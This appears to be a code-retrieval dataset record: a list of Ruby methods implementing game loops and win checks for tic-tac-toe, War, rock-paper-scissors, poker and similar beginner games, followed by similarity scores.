"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def play\n until over?\n turn\n end\n if winner\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cats Game!\"\n end\nend",
"def game_on\n # Declare variable for player_1 and player_2 -> using .new\n player_1 = Player.new(\"Player 1\")\n player_2 = Player.new(\"Player 2\")\n\n # Declare a counter variable\n count = 0\n\n # Use a while loop to play game until one of the player has no live left\n while player_1.lives > 0 && player_2.lives > 0\n puts \"***** NEW TURN *****\"\n\n # Check if the counter is even?\n count.even? ? play_turn(player_1) : play_turn(player_2)\n\n # Display the results of player 1 and 2 \n display_player_1_result = \"P1: #{player_1.lives}/3 vs \"\n display_player_2_result = \"P2: #{player_2.lives}/3\"\n # Print out the output string\n puts display_player_1_result + display_player_2_result\n \n count += 1\n end\n\n # Find the winner\n winner = player_1.game_over? ? player_2 : player_1\n puts \"*********************\"\n # Print out the winner and his score\n puts \"#{winner.name} wins with a score of #{winner.lives}/3\"\n puts \"***** GAME OVER *****\"\n puts \"***** GOOD BYE *****\"\nend",
"def play_hand\n\n p1 = self.player1\n p2 = self.player2\n p1.play\n p2.play\n winner = winner?(p1,p2)\n if winner\n handle_winner(p1,p2)\n else \n self.war\n end\n\n end",
"def play\n while !over?\n \t turn\n end\n if won?\n \t puts \"Congratulations \"+ winner() +\"!\"\n else\n \t puts \"Cat's Game!\"\n end\n end",
"def play\r\n turn until over?\r\n \r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n \r\n else\r\n puts \"Cat's Game!\"\r\n end\r\nend",
"def player_action\n @players.each{ |p|\n linebreak('-')\n p.hands.each_with_index{ |hand, index|\n hit = true\n double = p.wallet >= hand.bet\n while hit\n splittable = hand.pair? && p.wallet >= hand.bet\n status(p)\n hit, split = player_decision(p, hand, index, double, splittable)\n double = false unless split\n linebreak\n end\n }\n }\n end",
"def win(player)\n player.win(@bank)\n\n player\n end",
"def play_match()\n\t\t#start a loop \n\t\tgame_end = false\n\t\twhile not game_end\n\t\t\tchar = get_player()\n\t\t\t#play a round\n\t\t\tself.play_round(char)\n\t\t\tself.player_turn += 1\n\t\t\t#check for win condition\n\t\t\tif self.board.line_complete?(char)\n\t\t\t\tif char == \"X\"\n\t\t\t\t\tputs \"Player 1 won!\"\n\t\t\t\t\tself.p1_rounds += 1\n\t\t\t\telse\n\t\t\t\t\tputs \"Player 2 won!\"\n\t\t\t\t\tself.p2_rounds += 1\n\t\t\t\tend\n\t\t\t\tputs self.to_s()\n\t\t\t\tgame_end = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t# check for stalemate\n\t\t\tgame_end = true if board.stalemate?()\n\t\tend\t\n\tend",
"def play\nturn until over?\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw? == true\n puts \"Game over! Thanks for playing.\"\nend\nend",
"def play\n\n until over?\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n\n end",
"def player_win\n @player_win += 1\n end",
"def play()\n \n while !over?()\n turn()\n end\n \n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cat's Game!\"\n end\n end",
"def play\n # Game play asks for players input on a turn of the game\n # Game play checks if the game is over after every turn\n # Game play plays the first turn of the game\n # Game play plays the first few turns of the game\n # Game play checks if the game is won after every turn\n # Game play checks if the game is a draw after every turn\n while !over?\n turn\n end\n # Game play stops playing if someone has won\n # Game play congratulates the winner X\n # Game play congratulates the winner O\n if won?\n puts \"Congratulations #{winner}!\"\n # Game play stops playing in a draw\n # Game play prints \"Cat's Game!\" on a draw\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play(players)\n while !win?\n players.each do |player|\n self.end_if_tie\n self.draw\n puts \"#{player.name} turn with #{player.sign}\"\n self.write(player)\n if win?\n puts \"#{player.name} wins!\"\n exit\n end\n end\n end\n end",
"def war\n \n until winner?(self.player1,self.player2)\n 4.times do \n player1.play\n player2.play\n end\n end\n\n handle_winner(self.player1,self.player2)\n\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else draw?\n puts \"Cat's Game!\"\n end\n end",
"def play \n game_loop\n if @player1.score >= @num_of_games\n puts \"#{@player1.name} is the WINNER!\"\n elsif @player2.score >= @num_of_games\n puts \"#{@player2.name} is the WINNER!\"\n end\n end",
"def play_for_trick \n if @player1.deal == true && @player2.deal == false && !@player1.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player1.lead_card\n @player1.remove_card_from_hand(leading_card)\n puts @player1.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player2.respond(leading_card)\n @player2.remove_card_from_hand(response_card)\n puts @player1.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player2.name + \" plays the \" + response_card.card_to_string\n \n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n if winning_card == leading_card \n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n else\n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n\n if @player1.deal == false && @player2.deal == true && !@player2.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player2.lead_card\n @player2.remove_card_from_hand(leading_card)\n puts @player2.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player1.respond(leading_card)\n @player1.remove_card_from_hand(response_card)\n puts @player2.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player1.name + \" plays the \" + response_card.card_to_string\n\n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n\n if winning_card == leading_card \n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n else\n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play_the_game\n self.deal\n while player1.count && player2.count\n self.play_hand\n end\n\n p player1.packet\n p player2.packet\n\n end",
"def play_game\n turns = 0\n begin\n hash = WarAPI.play_turn(@player1, @player1.hand.deal_card, @player2, @player2.hand.deal_card)\n cards = hash.flatten\n @player1.hand.add_card(cards[1])\n @player2.hand.add_card(cards[3])\n puts \"#{turns}\"\n turns += 1\n end until (@player1.hand.addhand.length == 0 && @player1.hand.unshuffled_deck[-1] == nil && cards[1].length == 0) || (@player2.hand.addhand.length == 0 && @player2.hand.unshuffled_deck[-1] == nil && cards[3].length == 0)\n puts \"#{@player1.name} wins!\" if @player1.hand.deal_card != nil\n puts \"#{@player2.name} wins!\" if @player2.hand.deal_card != nil\n end",
"def play(board)\n count = 0\n while !over?(board)\n turn(board, current_player(board))\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n return\n elsif draw?(board)\n puts \"Cats Game!\"\n return\n end\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n return\n elsif draw?(board)\n puts \"Cats Game!\"\n return\n end\nend",
"def run_game\n while @p1.score != @length && @p2.score != @length\n run_round\n end\n @winner = @p1 if @p1.score == @length\n @winner = @p2 if @p2.score == @length\n puts @winner.name + \" wins the game!\"\n puts \"Congratultions!\" if @winner.control == \"HUMAN\"\n @winner\n end",
"def play\n while !over?()\n turn()\n end\n\n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cat's Game!\"\n end\n end",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play\n # counter = 0\n # until counter == 9\n # turn\n # counter += 1\n # end\n\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play\nuntil over? do\n turn\n end\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw?\nputs \"Cats Game!\"\nend\nend",
"def play\r\n while !over?\r\n turn\r\n end\r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n elsif draw?\r\n puts \"Cats Game!\"\r\n end\r\n end",
"def play()\n until over?() == true\n turn()\n end\n if draw?() != true\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play\n while !over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play\n while !over?\n #binding.pry\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def handle_winner(p1,p2)\n winner = winner?(p1,p2)\n if winner == p1\n give_cards_to_winner(p1, p2)\n p1.take_own_hand\n elsif winner == p2\n give_cards_to_winner(p2, p1)\n p2.take_own_hand\n end\n end",
"def win\n\t\tputs \"Player #{@myIndex} made a correct accusation and has won the game!\"\n\tend",
"def win_message\n puts \"Player #{@id.to_s} (#{@piece}) wins!\"\n end",
"def victory\n @current_player = @players[\"plyr2\"]\n unless @winner == false\n @over = true\n puts \" \"\n puts \" Code-breaker #{@current_player} wins!!\"\n puts \" \"\n end\n end",
"def play\n until over? do\n turn;\n end\n\n if won?\n puts \"Congratulations #{winner}!\";\n replay\n elsif draw?\n puts \"Cat's Game!\";\n replay\n end\n end",
"def botTurn\n # check if we can win with one move or need to block\n if positions = winOrBlock?(currentPlayer) || positions = winOrBlock?( (currentPlayer == 'X')? 'O' : 'X')\n takeLastSpot(positions)\n \n # check if there is a chance for bot to create a fork, or block oponent from making fork \n elsif forks = possibleFork?(currentPlayer) || forks = possibleFork?((currentPlayer == 'X')? 'O' : 'X')\n \n \n if forks.size == 1\n # find the most common index and move there\n commonElement = forks.max_by {|i| forks.count(i)}\n move(commonElement, currentPlayer)\n else\n # more than one fork possible,\n # find optimal block point, move there\n move(blockPoint(forks), currentPlayer)\n end\n \n # take the center if its available\n elsif !position_taken?(4)\n move(4, currentPlayer)\n \n # take an opposite corner from the oponent. If not available, take any corner\n elsif corner = cornerMove\n move(corner, currentPlayer)\n \n # play in a middle square on any of the sides \n else\n SIDE_MIDDLE.each do |position|\n if !position_taken?(position)\n move(position, currentPlayer)\n break\n end\n end\n end\n puts \"#{(currentPlayer == 'X')? 'O': 'X'}'s move: \"\n displayBoard\n end",
"def win?\n sleep(3)\n check_points\n end",
"def play\n # checks if the game is over after every turn\n until over?\n # plays the first few turns of the game\n turn\n end\n\n # checks if the game is won after every turn\n if won?\n puts \"Congratulations #{winner}!\"\n # checks if the game is draw after every turn\n elsif draw?\n puts \"Cats Game!\" # prints \"Cats Game!\" on a draw\n end\n\n end",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n\n else draw?\n puts \"Cat's Game!\"\n\n end\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{ winner }!\"\n elsif draw?\n puts \"Cat's Game!\"\n else\n puts \"Game over\"\n end\n end",
"def play\n display_welcome_message\n loop do \n human.choose #.choose is an instance method on the Player class, since human is an object of the Player class\n computer.choose\n display_winner\n break unless play_again? #could put play again loop here, but easier to not have double loop here\n end \n display_goodbye_message\n end",
"def play\r\n\tputs \"Press 'Enter' or 'Return' to continue..\"\r\n\tgets\r\n\tputs \"\\n\\n\\n\\n\"\r\n\tputs \"-NEW GAME-\"\r\n\t\t\"------------------------------------\\n\\n\"\r\n\tmarbles_left = rand(6..15)\r\n\t#0 is copmuter's turn, 1 is player's turn\r\n\tputs $turn == 0 ? \"The computer won the coin toss, it will go first\": \r\n\t\t\"You won the coin toss, you will go first\"\r\n\t$turn = rand(0..1)\r\n\twhile $playing == true\r\n\t\tif $turn == 0\r\n\t\t\tmarbles_left = computerTurn(marbles_left)\r\n\t\telsif $turn == 1\r\n\t\t\tmarbles_left = playerTurn(marbles_left)\r\n\t\telse \r\n\t\t\tputs \"\\n\\n\\n##############################\"\r\n\t\t\t\t\"Something went horribly wrong!\" +\r\n\t\t\t\t\"The game has ended. You probably\" +\r\n\t\t\t\t\"would have won anyway.\"\r\n\t\t\trestart()\r\n\t\tend\r\n\t\tif marbles_left <= 0\r\n\t\t\tputs \"\\n---No marbles remaining:---\\n\\n\\n\"\r\n\t\t\tputs $turn == 1 ? \"\\tThe computer won.\": \"\\tYou won!!\"\r\n\t\t\trestart()\r\n\t\tend\r\n\tend\r\n\r\nend",
"def Winner?(player)\r\n end",
"def play\n 2.times {deal}\n blind_score\n if player_hand.collect{|x| x.value}.inject(:+) == 21\n bjwin\n elsif computer_hand.collect{|x| x.value}.inject(:+) == 21\n bjlose\n else\n action\n end\n end",
"def win\n @music.stop if @sonido\n \n GAME_OBJECTS.each(&:destroy_all)\n pop_game_state\n push_game_state(Level2.new(player_name: @player_name, score: @score, sonido: @sonido, difficulty: @difficulty))\n end",
"def did_player_win?\n if @players_1_turn\n did_mark_win?(PLAYERS_1_MARK)\n else\n did_mark_win?(PLAYERS_2_MARK)\n end\n end",
"def process\n finish_games\n level_up\n warn_level_up\n start_games\n end",
"def play\n congrats = Proc.new { |player| puts \"Congratulations #{player}!\" }\n tie = Proc.new { puts \"Cat's Game!\" }\n \n until over?\n turn\n end\n\n congrats.call(winner) if won?\n tie.call if draw?\nend",
"def play\n while !over?\n turn\n board.display\n end\n if won?\n puts \"Congratulations #{winner}!\" \n elsif draw?\n puts \"Cats Game!\" \n end\n end",
"def run\n play_round until game_over?\n puts \"#{winner} wins!\"\n end",
"def update_winners\n return true if draw?\n winner.wins_count.increment\n Player.rank.incr(winner.id)\n looser.loose_count.increment\n true\n end",
"def play\n puts\n puts (\"This is game number #{@@game_count}.\").red\n if starter == 1\n round(@player1, @player2)\n else\n round(@player2, @player1)\n end\n while play_again == \"Yes\"\n @@game_count += 1\n puts\n puts (\"This is game number #{@@game_count}.\").red\n if winner_player1 == true\n round(@player2, @player1)\n elsif winner_player2 == true\n round(@player1, @player2)\n else\n if starter == 1\n round(@player1, @player2)\n else\n round(@player2, @player1)\n end\n end\n end\n puts (\"Then goodbye, it was nice to play with you!\").green\n end",
"def play\n until over? do\n turn\n end\n if draw?\n puts \"Cat's Game!\"\n else\n puts \"Congratulations #{winner}!\"\n end\nend",
"def play\n\n\t\tif ran_out_of_options?\n \t\t\tputs \"SORRY, YOU ARE HOPELESSLY INDECISIVE\".red.blink\n \t\t\texit\n \tend\n\n\t\t@winner = select_winner\n\n\t until self.set_of_ten_dup.length == 1 do\n\t \t@challenger = select_challenger\n\t \n\t system \"clear\"\n\n\t\tCLI.intro_image\n\t\tdisplay_choices\n\t\tinput = input_prompt\n\t \n\t\tmatch_arr = add_businesses\n\n\t\tadd_to_winner_loser_tables(match_arr[0],match_arr[1]) if input == '1' || input == '1!'\n\t\tadd_to_winner_loser_tables(match_arr[1],match_arr[0]) if input == '2' || input == '2!'\n\t\tremove_from_match_options(input)\n\t\t@winner = @challenger if input == '2' || input == '2!'\n\t\tself.url = @winner[:url]\n\t\tbreak if input == '1!' || input == '2!'\n\t end\n\t puts \"We recommend you go to \" + \"#{@winner[:name]}\".green + \"!\" \n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if winner(board)\n winning_player = winner(board)\n puts \"Congratulations #{winning_player}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def start\n while @player1.lives > 0 && @player2.lives > 0\n ask_question_and_update_lives(@players[@turn])\n puts \"P1: #{@player1.display_lives} vs P2: #{@player2.display_lives}\"\n puts \"----- NEW TURN -----\"\n change_turn\n end\n # the change_turn above automatically set the next player as winner\n puts \"#{@turn} wins with a score of #{@players[@turn].display_lives}\"\n puts \"----- GAME OVER -----\"\n puts \"Good bye!\"\n end",
"def play\n until over? !=false\n turn\n end\n if won? != false\n puts \"Congratulations #{winner}!\"\n elsif draw? == true\n puts \"Cats Game!\"\n end \nend",
"def play\n until over?\n turn\n end\n if draw?\n puts \"Cat's Game!\"\n elsif won?\n puts \"Congratulations #{winner}!\"\n end\nend",
"def play\n until over? == true\n turn\n end\n\n if won? != false\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def track_p2_wins(winner)\n if winner == 2\n return 1\n else\n return 0\n end\nend",
"def play\n # unless the game is over players take turns\n take_turn until game_over?\n\n #start a new game if the game is over\n new_game_or_quit\n end",
"def play()\n \n begin\n \n @computer_choice = get_computer_choice()\n @player_choice = get_player_choice()\n \n result = logic(@computer_choice, @player_choice)\n\n get_choices()\n \n case result\n\n when \"tie\"\n @rounds -= 1\n @ties += 1\n puts \"[~] it's a tie !\"\n \n when \"player win\"\n @rounds -= 1\n @player_wins += 1\n puts \"[$] Player win this round (#{@player_wins}/3)!\"\n\n when \"computer win\"\n @rounds -= 1\n @computer_wins += 1\n puts \"[$] Computer win this round (#{@computer_wins}/3)!\"\n\n end\n\n rescue Interrupt\n\n puts \"\\n\\n[!] Keyboard interrupt, Exting.\"; exit()\n \n \n end\n \n\n end",
"def win_jackpot\n @credits += @jackpot\n @jackpot = STARTING_JACKPOT\n puts self.class.message(:jackpot).colorize :green\n end",
"def turn(player)\n puts \" C'est le tour de #{player.nom}\"\n\n#affichage du plateau\n @plateau.visuel\n\n#demande au joueur ce qu'il joue\n puts \"Ou veux tu placer ton pion?\"\n puts \"Info : Tapes de 1 à 9\"\n @choix = gets.chomp.to_i\n puts \"Tu as choisi la case #{@choix}\"\n\n#appel de la methode de modification de la valeur de la case\n @plateau.play(@choix, player, player.token)\n\n#affichage du tableau avec les modifications\n @plateau.visuel\n\n#verification de la victoire ou non \n @plateau.victory(player.win, player.token)\n puts player.win\n if player.win == false\n go\n elsif\n puts \"Le jeu est fini ! #{player.nom} à gagner\"\n end\n\n end",
"def play_to_n\n puts \"Prepare to battle your opponent!\\n\\nYour weapons: A rock, a piece of paper, and a pair of scissors.\\n\\nThe rock will crush the scissors, the paper will smother the rock, and the scissors will cut the paper to shreds. The first player to win the following number of games wins the battle. What number would you like to play to?: \"\n \n @num_of_games = gets.chomp.to_i\n until @num_of_games > 0 && @num_of_games.class == Fixnum\n puts \"Your answer was not recognized, please try again.\"\n @num_of_games = gets.chomp.to_i\n @num_of_games\n end\n \n # Public: #players_choose\n # Sets each player's move to a unique variable then prints what each player chose.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # Prints two sentences stating what move each player chose.\n #\n # State Changes:\n # Sets @p1_game_move and @p2_game_move.\n \n def players_choose\n @p1_game_move = @player1.p1_moves\n @p2_game_move = @player2.p2_moves\n puts \"#{@player1.name} chooses: #{@p1_game_move}\\n\" + \"#{@player2.name} chooses: #{@p2_game_move}\"\n end\n\n # Public: #determine_winner\n # Determines which player won based on each round's moves.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # Prints out tie, or if there was not a tie, which player won and what the score is.\n #\n # State Changes:\n # None.\n \n # def determine_winner\n # players_choose\n # if @p1_game_move == @p2_game_move\n # puts \"Tie!\"\n # format\n # elsif @p1_game_move == \"rock\" && @p2_game_move == \"scissors\" || @p1_game_move == \"paper\" && @p2_game_move == \"rock\" || @p1_game_move == \"scissors\" && @p2_game_move == \"paper\"\n # @player1.p1_win\n # puts \"#{@player1.name} wins!\\n\" \"The score is: #{@player1.name} - #{@player1.score}\\t #{@player2.name} - #{@player2.score}\"\n # format\n # else\n # @player2.p2_win\n # puts \"#{@player2.name} wins!\\n\" \"The score is: #{@player1.name} - #{@player1.score}\\t #{@player2.name} - #{@player2.score}\"\n # format\n # end\n # end\n\n # Public: #game_loop\n # Continues the game each round until a player has won the stated number of games.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # The determine_winner method\n #\n # State Changes:\n # None.\n \n def game_loop\n until @player1.score >= @num_of_games || @player2.score >= @num_of_games do\n #determine_winner\n @rules.determine_winner\n end\n end\n \n # Public: #play\n # Initiates the game loop and prints who the winner is once the game is over.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # A puts statement which states who the overall winner is.\n #\n # State Changes:\n # None.\n \n def play \n game_loop\n if @player1.score >= @num_of_games\n puts \"#{@player1.name} is the WINNER!\"\n elsif @player2.score >= @num_of_games\n puts \"#{@player2.name} is the WINNER!\"\n end\n end\n \n # Public: #format\n # Separates each round with a line of dashes.\n #\n # Parameters:\n # None.\n #\n # Returns:\n # Sixty dashes.\n #\n # State Changes:\n # None.\n \n def format\n puts \"-\" * 60\n end\n\nend",
"def play_game\n\t\t\n\t\t2.times do \n\t\t\t\n\t\t\tputs to_s\n\t\t\t@players.each do |player|\n\n\t\t\t\tif player.is_fold\n\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tputs player.to_s\n\t\t\t\todds = @pokeroddsproxy.get_odds(player.get_cards, get_cards, @playernumber)\n\t\t\t\t#puts player.get_cards\n\t\t\t\tif player.get_user\n\t\t\t\t\tinput = get_input\n\t\t\t\t\tamount = 0\n\t\t\t\t\tif input == 1\n\t\t\t\t\t\tamount = 100 + @bet\n\t\t\t\t\telsif input == 2\n\t\t\t\t\t\tamount = @bet\n\t\t\t\t\telse\n\t\t\t\t\t\tamount = 0\n\t\t\t\t\t\tplayer.fold\n\t\t\t\t\tend\n\t\t\t\t\tplayer.removemoney(amount)\n\t\t\t\t\t@pot = @pot + amount \n\t\t\t\telse\n\t\t\t\t\tamount = player.set_move(odds, 200, 200)\n\t\t\t\t\tplayer.removemoney(amount)\n\t\t\t\t\t@pot = @pot + amount \n\t\t\t\tend\n\t\t\t\t#puts get_cards\n\t\t\t\tputs odds\n\t\t\t\tputs\n\t\t\tend\n\t\t\t\n\t\t\tputs \"pot: #{@pot}\"\n\n\t\t\t@board << @deck.deal\n\t\tend\n\n\t\tfind_winner\n\tend",
"def track_victory(winnerofturn) #algorythmic\n if winnerofturn == @Player1\n @win_counter[\"P1\"] += 1\n elsif winnerofturn == @Player2\n @win_counter[\"P2\"] += 1\n end\n end",
"def play\n\n until self.over?\n self.turn\n end\n\n if self.won?\n self.board.display\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n self.board.display\n puts \"Cat's Game!\"\n end\n end",
"def startGame(player1, player2)\n\n puts \" Do you want heads(h) or tails(t)?\"\n answer = gets\n answer = answer.chomp\n first = false\n\n # flips the coin\n @coin.flip\n\n # player1 calls what face they want\n if answer == 't'\n if @coin.display == 'Heads'\n first = false\n else\n first = true\n end\n elsif answer == 'h'\n if @coin.display == 'Heads'\n first = true\n else\n first = false\n end\n else\n puts \" fix later\"\n end\n\n # assigns colours baised on who goes first\n if first\n player1.givePieces(\"#FF0000\")\n player1.colour = \"#FF0000\"\n player2.givePieces(\"#0000FF\")\n player2.colour = \"#0000FF\"\n else\n player1.givePieces(\"#0000FF\")\n player1.colour = \"#0000FF\"\n player2.givePieces(\"#FF0000\")\n player2.colour = \"#FF0000\"\n \n end\n\n if first\n puts player1.name + \", You are going first\"\n @view.refreshBoard(@board, [])\n player1.turnStart()\n else\n puts player2.name + \", You are going first\"\n @view.refreshBoard(@board, [])\n player2.turnStart()\n end\n \n while !checkWin() do\n\n if player1.isActive\n # player 1 is active\n @player1.turnEnd()\n @view.refreshUnplayedPieces(@player1)\n @view.refreshUnplayedPieces(@player2)\n @view.refreshBoard(@board, [])\n @view.refreshTurnIndicator(@player2)\n\n player2.turnStart()\n player1.updatePlayedPieces()\n else\n # player 2 is active\n @player2.turnEnd()\n @view.refreshUnplayedPieces(@player1)\n @view.refreshUnplayedPieces(@player2)\n @view.refreshBoard(@board, [])\n @view.refreshTurnIndicator(@player1)\n\n player1.turnStart()\n player2.updatePlayedPieces()\n end\n end\n\n # ask if user's want to reset.\n puts \" Do you want to reset and play another game? Please enter Y or N.\"\n answer = gets\n answer = answer.chomp\n\n # handle input\n if answer == 'Y' || answer == 'y'\n reset()\n elsif answer == 'N' || answer == 'n'\n puts \"Goodbye I hope you had fun playing the game!\"\n else\n puts \" Invalid input detected. The game will be reset\"\n reset() \n end \n end",
"def player_win?(n)\n self.wins.each do |win| \n return true if (player_moves(\"#{n}\") & win).count == self.win_length\n end\n return false\n end",
"def winner\n\tputs \" - WoooW #{@name} !!!! Tu m'impressionne, Tu as gagne !!! \"\n\tputs \" \"\n end",
"def start_game\n player_random = select_player_random\n cont = 1\n until @players[0].cards.empty?\n puts \"Ronda #{cont}\"\n round(player_random)\n player_random = whoWinRound(player_random)\n puts \"------------Ganador de la ronda #{cont} ------------------\"\n puts \"Nombre: #{@players[player_random].name}, Con\"\n puts \"Carta: #{@players[player_random].card_thrown.number} , #{@players[player_random].card_thrown.type}\"\n save_card_into_player_win(@players[player_random])\n cont += 1\n end\n who_win\n\n end",
"def two_players\n\n if go_first? == true\n game = Game.new(Players::Human.new(\"X\"), Players::Human.new(\"O\"))\n game.play\n\n else\n game = Game.new(Players::Human.new(\"O\"), Players::Human.new(\"X\"))\n game.play\n end # inner if\n end",
"def new_game\n @players = [@p1, @p2]\n\n round_gameplay\n until self.winner?\n next_round\n end\n\n end",
"def start_game\n @player_1_lives = 3\n @player_2_lives = 3\n while @player_1_lives > 0 && @player_2_lives > 0\n new_turn(1)\n break if @player_1_lives == 0\n new_turn(2)\n end\nend",
"def play\n until self.over? do\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n end",
"def win(credits=nil)\n @credits += credits if credits\n puts self.class.message(:win).colorize :green\n end",
"def play(startWith = \"none\")\n print \"According to coin toss, \" if startWith == \"none\"\n puts \"first player will be \" + whoStarts(startWith)\n\n winCase = false\n while winCase == false && boardNotFull? \n next_turn\n winCase = someoneWin? \n end\n showBoard\n puts \"Nobody won!\" if !winCase && boardNotFull? == false\n end",
"def win_or_lose\n if game_data.guesses_remaining.zero?\n puts File.read('./views/you_dead')\n puts File.read('./views/dead')\n elsif game_data.letters_left_to_guess == []\n puts File.read('./views/winscreen')\n else\n # allows us to break recursion if we are testing\n @test_cond == false ? Turn.new(game_data) : true\n end\n end",
"def main_game\n p1_wins = 0\n p2_wins = 0\n puts \"Let's play Rock-Paper-Scissors!\"\n games = how_many_games\n best_of(games)\n\n until p1_wins == games || p2_wins == games\n winner = one_round\n display_winner(winner)\n p1_wins += track_p1_wins(winner)\n p2_wins += track_p2_wins(winner)\n end\n\n overall_winner = overall_winner?(p1_wins, p2_wins)\n display_overall_winner(overall_winner)\nend",
"def play\n until @board.winner?(@player_1.token) || @board.winner?(@player_2.token)\n @board.print\n self.play_turn\n p \"--------------------\"\n end\n\n self.switch_players!\n @board.print\n p @current_player.token + \" has won!\"\n end",
"def play\n until @board.winner?(@player_1.token) || @board.winner?(@player_2.token)\n @board.print\n self.play_turn\n p \"--------------------\"\n end\n\n self.switch_players!\n @board.print\n p @current_player.token + \" has won!\"\n end",
"def play\n# \tThere are 3 players in Knuckleheads: \n\t\tputs \"There are #{to_s} players in #{@title}\"\n# \tI'm Moe with a health of 100 and a score of 103.\n# \tI'm Larry with a health of 60 and a score of 65.\n# \tI'm Curly with a health of 125 and a score of 130.\n\t\t@Player.each do |spieler|\n\t\t\tputs \"I'm #{spieler} with a health of #{@health} and a score of #{score}\"\n\t\t\tend\n# \tMoe got blammed!\n# \tMoe got w00ted!\n# \tMoe got w00ted!\n# \tI'm Moe with a health of 120 and a score of 123.\n# \tLarry got blammed!\n# \tLarry got w00ted!\n# \tLarry got w00ted!\n# \tI'm Larry with a health of 80 and a score of 85.\n# \tCurly got blammed!\n# \tCurly got w00ted!\n# \tCurly got w00ted!\n# \tI'm Curly with a health of 145 and a score of 150.\n\t\tend",
"def play\n while(true)\n answer1 = @human.choose\n answer2 = @computer.choose\n puts self.win?(answer1,answer2)\n self.continue?\n end\n end"
] |
[
"0.6900561",
"0.6802724",
"0.67784095",
"0.66970164",
"0.66527414",
"0.6644474",
"0.6642027",
"0.6641353",
"0.6629515",
"0.6629229",
"0.66163397",
"0.6612759",
"0.6553117",
"0.65431184",
"0.6527262",
"0.65100896",
"0.650837",
"0.65012896",
"0.64965135",
"0.6491983",
"0.6479246",
"0.64736724",
"0.64657915",
"0.64521796",
"0.6447997",
"0.6446953",
"0.64446044",
"0.6440167",
"0.64392895",
"0.642604",
"0.64215285",
"0.64188206",
"0.6417163",
"0.64110714",
"0.6408867",
"0.64074767",
"0.64030653",
"0.64014465",
"0.63977075",
"0.6389339",
"0.6388802",
"0.6385902",
"0.63858527",
"0.6382501",
"0.6377919",
"0.6374677",
"0.6374441",
"0.63628215",
"0.6362445",
"0.6356872",
"0.63460976",
"0.6342107",
"0.6338376",
"0.63382035",
"0.6336244",
"0.63286996",
"0.63168377",
"0.63073367",
"0.63049185",
"0.630154",
"0.62957066",
"0.6287483",
"0.62769824",
"0.6260515",
"0.6255274",
"0.6246276",
"0.624073",
"0.62401927",
"0.6231748",
"0.6227655",
"0.62243307",
"0.62213415",
"0.6219229",
"0.621777",
"0.6208877",
"0.6208365",
"0.6199332",
"0.61778146",
"0.61771774",
"0.6169726",
"0.616918",
"0.61669284",
"0.6166326",
"0.6162343",
"0.6162024",
"0.6161418",
"0.6159042",
"0.61559665",
"0.61504495",
"0.6149001",
"0.6143824",
"0.6141482",
"0.61368674",
"0.61367077",
"0.6130402",
"0.61288285",
"0.61280197",
"0.6127462",
"0.6127462",
"0.6127144",
"0.61244947"
] |
0.0
|
-1
|
